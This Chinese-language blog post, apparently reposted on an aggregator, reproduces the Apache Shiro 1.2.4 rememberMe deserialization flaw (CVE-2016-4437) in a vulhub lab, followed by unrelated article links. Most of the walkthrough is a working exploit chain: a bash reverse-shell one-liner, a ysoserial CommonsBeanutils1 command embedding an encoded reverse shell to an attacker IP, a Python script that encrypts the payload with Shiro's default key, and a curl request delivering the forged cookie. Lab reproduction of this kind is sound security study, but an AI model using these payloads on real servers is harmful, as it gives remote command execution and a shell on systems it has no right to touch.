Apache Shiro 1.2.4反序列化漏洞(Shiro-550)--Shiro rememberMe反序列化漏洞(CVE-2016-4437)

news2024/9/23 1:41:16

前言

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

影响版本

Apache Shiro <= 1.2.4

漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

漏洞分析

●Apache Shiro如何记住我?

1.序列化用户身份对象.(这里为SimplePrincipalCollection)
2. 对序列化后的数据进行AES加密,密钥为常量.
3. base64编码
4.设置到cookie中,cookie name等于rememberMe.

●Apache Shiro如何解析我?

1.读取cookie中的rememberMe的值.
2.对其值进行base64解码
3.AES解密
4.反序列化

●如何利用,进行攻击:

整体流程大概就是:命令 => 序列化 =>AES加密 => base64编码 => RememberMe Cookie值 => base64解密 => AES解密 => 反序列化 => 执行命令

环境搭建

sudo docker-compose up -d

在这里插入图片描述

服务启动后,访问http://your-ip:8080
在这里插入图片描述

漏洞复现

首先下载ysoserial的包:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

启动靶场环境,访问http://your-ip:8080可以看到有一个remember me的选项再选中,可使用admin:vulhub进行登录
在这里插入图片描述在这里插入图片描述

使用BP抓包查看一下
在这里插入图片描述

从返回包中发现有remember=deleteMe的字样,可以大致确定配置有shiro(因为shiro本身功能就是一个身份验证管理,所一般在登录口可以看到)。

1.编写反弹shell的命令

我们使用bash来反弹shell,但在这里指令需要加密(因为重定向和管道字符的使用方式在启动过程中的上下文没有意义)
工具:https://woj.app/jjm/

bash -i >& /dev/tcp/youip/端口 0>&1

在这里插入图片描述

2.序列化数据生成

使用ysoserial生成CommonsBeanutils1的Gadget,(注意:此处使用的是jdk1.8.0_202)

─(kali💋kali)-[~/tools/java/jdk1.8.0_202/bin]
└─$ ./java -jar /home/kali/ysoserial-master-2874a69f61-1.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xMjkvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}" > /home/kali/poc.ser 

使用Shiro内置的默认密钥对Payload进行加密:

import sys
import uuid
import base64
from Crypto.Cipher import AES  #pip install pycryptodome

def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme()    
    print("rememberMe={0}".format(payload.decode()))

将其代码保存到poc.py中,python3运行一下(注意:poc.py与poc.ser要在同一目录下

运行可能会报错,需要安装一下python模块

pip install pycryptodome

在这里插入图片描述再运行一下
在这里插入图片描述

3.将生成的rememberMe放入发送包的Cookie中发送至服务器:

curl -H 'Cookie:rememberMe=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' -I http://192.168.107.129:8080/login.jsp

在攻击机上开启一个nc监听,准备接收反弹的shell
在这里插入图片描述

4.使用curl命令将伪造 cookie 的内容发送给服务器

在这里插入图片描述

再查看监听的端口,shell反弹成功!!!
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/510959.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

sort、uniq、tr、cut命令的使用

sort、uniq、tr、cut命令的使用 一、sort二、uniq三、tr四、cut 一、sort sort是一个以行为单位对文件内容排序的工具&#xff0c;也可以根据不同的数据类型来排序&#xff0c;例如数据和字符的排序就不一样。比较原则是从首字符向后&#xff0c;依次按ASCII码进行比较&#x…

MySQL-索引(1)

本文主要梳理的内容 : 主键索引的基本概念InnoDB引擎中的索引策略索引的分类(各种索引讲解)索引的创建索引的底层数据结构 目录 主键 InnoDB主键生成策略 数据库自增主键可能遇到什么问题. 如何选择合适的分布式主键方案呢&#xff1f; 超键、候选键、主键、外键分别是什…

第一个Mapreduce程序-wordcount

一个Maprduce程序主要包括三部分&#xff1a;Mapper类、Reducer类、执行类。 Maven项目下所需依赖 <dependencies><dependency><groupId>org.apache.hadoop</groupId><artifactId>hadoop-client</artifactId><version>3.3.0</v…

前端011_标签模块_列表功能

标签模块_列表功能 1、需求分析2、Mock添加数据列表模拟接口3、Api调用接口4、列表模版5、分页查询实现1、需求分析 标签模块主要文章标签进行管理,类别和标签的关系是一对多,一个类别下面存在多个标签。 首先开发模块中的列表功能,包含数据列表、分页。 2、Mock添加数据…

golang基于FFmpeg实现视频H264编解码

文章目录 一、基本知识1.1 FFmpeg相关1.2 H.264相关1.3 YUV相关 二、H264编码原理2.1 帧类型分析2.2 帧内/帧间预测2.3 变换量化2.4 滤波2.5 熵编码 三、H264解码为YUV3.1 代码逻辑及使用API3.2 具体代码实现3.3 YUV文件播放 四、YUV编码为H2644.1 代码逻辑及使用API4.2 具体代…

Python基础入门编程代码练习(二)

一、求1~100之间不能被3整除的数之和 循环条件&#xff1a;i<100循环操作 实现代码如下&#xff1a; def sums():sum 0for num in range(1, 101):if num % 3 ! 0:sum numprint("1~100之间不能被3整除的数之和为&#xff1a;%s" % (sum))sums() print("1~…

测试 —— 基础概念、开发模型、测试模型、BUG的描述

目录 一、什么是软件测试&#xff1f; 1. 调试和测试的区别 2. 优秀的测试人员需要具备的哪些素质 二、基本名词的概念 1. 什么是需求&#xff1f; 2. 什么是BUG&#xff1f; 3. 什么是测试用例&#xff1f; 4. 软件的生命周期&#xff1f;软件测试的生命周期&#xff1…

实验六 触发器与存储过程

实验六 触发器与存储过程 目录 实验六 触发器与存储过程 1、SQL触发器&#xff1a;删除学生数据题目代码题解 2、SQL触发器&#xff1a;创建成绩表插入触发器题目代码题解 3、 SQL存储过程&#xff1a;查询订单题目代码题解 4、SQL存储过程&#xff1a;建立存储过程&#xff0c…

ESP32设备驱动-Si4703调频收音机模块驱动

Si4703调频收音机模块驱动 文章目录 Si4703调频收音机模块驱动1、Si4703介绍2、硬件准备3、软件准备4、驱动实现1、Si4703介绍 Si4702/03 FM 无线电接收器系列通过小尺寸和电路板面积、最少的组件数量、灵活的可编程性以及卓越的、经过验证的性能,增加了向移动设备添加 FM 无…

4。计算机组成原理(5)总线和I/O

嵌入式软件开发&#xff0c;非科班专业必须掌握的基本计算机知识 核心知识点&#xff1a;数据表示和运算、存储系统、指令系统、总线系统、中央处理器、输入输出系统 一 总线概述 总线是一组能实现多个部件间信息传输的线路 按功能分类 1&#xff09;片内总线&#xff08;片…

【iOS】多线程以及GCD和NSOperation

iOS多线程 线程基础进程与线程NSThread类 GCD认识GCD任务队列队列与任务结合线程间通信队列组dispatch group延迟执行操作 NSOperation简介基本使用NSOperation、NSOperationQueue 常用属性和方法归纳NSOperation 常用属性和方法NSOperationQueue 常用属性和方法 小结 线程基础…

网易Android framework开发岗面试经历分享(附面试题汇总+案例解析)

背景 今年可以说是非常难&#xff0c;部门被拆&#xff0c;很多同事都被变相裁员了&#xff0c;虽然说去其他部门工作可以给我们的放宽一点要求&#xff0c;但我还是想在Android开的岗位上发展&#xff0c;所以也提出了离职&#xff1b;离职后的两个月中&#xff0c;投了一些A…

类ChatGPT逐行代码解读(1/2):从零实现Transformer、ChatGLM-6B

前言 最近一直在做类ChatGPT项目的部署 微调&#xff0c;关注比较多的是两个&#xff1a;一个LLaMA&#xff0c;一个ChatGLM&#xff0c;会发现有不少模型是基于这两个模型去做微调的&#xff0c;说到微调&#xff0c;那具体怎么微调呢&#xff0c;因此又详细了解了一下微调代…

tensorflow GPU训练环境布置

tensorflow GPU训练环境布置 一、显卡驱动安装1.1 如何处理**Failed to initialize NVML: Driver/library version mismatch的问题**1.2 卸载旧的版本1.3 驱动安装 1.3.1 利用apt 安装1.3.2 手动安装 二、安装CUDA2.1 确定CUDA版本2.2 下载文件1. 找匹配版本2. 选合适的平台 2…

微服务---Redis实用篇-黑马头条项目-商户查询缓存功能(缓存穿透,缓存雪崩,缓存击穿问题及解决思路)

1、商户查询缓存 1.1 什么是缓存? 前言:什么是缓存? 就像自行车,越野车的避震器 举个例子:越野车,山地自行车,都拥有"避震器",防止车体加速后因惯性,在酷似"U"字母的地形上飞跃,硬着陆导致的损害,像个弹簧一样; 同样,实际开发中,系统也需要"避震…

libcad.so Crack,转换为多种文件格式

libcad.so Crack,转换为多种文件格式 支持所有流行的2D和3D CAD格式。 高速准确的可视化。 轻松访问CAD实体属性&#xff0c;包括坐标、文本、图层等。 转换为多种文件格式。 从DWG和DXF文件生成G代码。 Unicode支持。 libcad.so是一个用于Linux的库。它可以将CAD功能添加到不同…

【笔试强训选择题】Day11.习题(错题)解析

作者简介&#xff1a;大家好&#xff0c;我是未央&#xff1b; 博客首页&#xff1a;未央.303 系列专栏&#xff1a;笔试强训选择题 每日一句&#xff1a;人的一生&#xff0c;可以有所作为的时机只有一次&#xff0c;那就是现在&#xff01;&#xff01;&#xff01; 文章目录…

MyBatis--原生的 API--注解的方式和MyBatis--mybatis-config.xml-配置文件详解

目录 原生的 API&注解的方式 MyBatis-原生的 API 调用 为了大家的观看我把基于xml的配置和类也展示了如果你想要详细的观看可以看 连接这个博客 创建Monster 创建MonsterMapper接口 创建MonsterMapper.xml 配置mybits的xml 创建MyBatisUtils 原生的 API 快速入门-代…

《计算机网络—自顶向下方法》 第二章Wireshark实验:DNS协议分析

域名系统 DNS(Domain Name System) 是互联网使用的命名系统&#xff0c;用于把便于大家使用的机器名字转换为 IP 地址。许多应用层软件经常直接使用 DNS&#xff0c;但计算机的用户只是间接而不是直接使用域名系统。 互联网采用层次结构的命名树作为主机的名字&#xff0c;并使…

Pytorch高级训练框架Ignite详细介绍与常用模版

引言 Ignite是Pytorch配套的高级框架&#xff0c;我们可以借其构筑一套标准化的训练流程&#xff0c;规范训练器在每个循环、轮次中的行为。本文将不再赘述Ignite的具体细节或者API&#xff0c;详见官方教程和其他博文。本文将分析Ignite的运行机制、如何将Pytorch训练代码转为…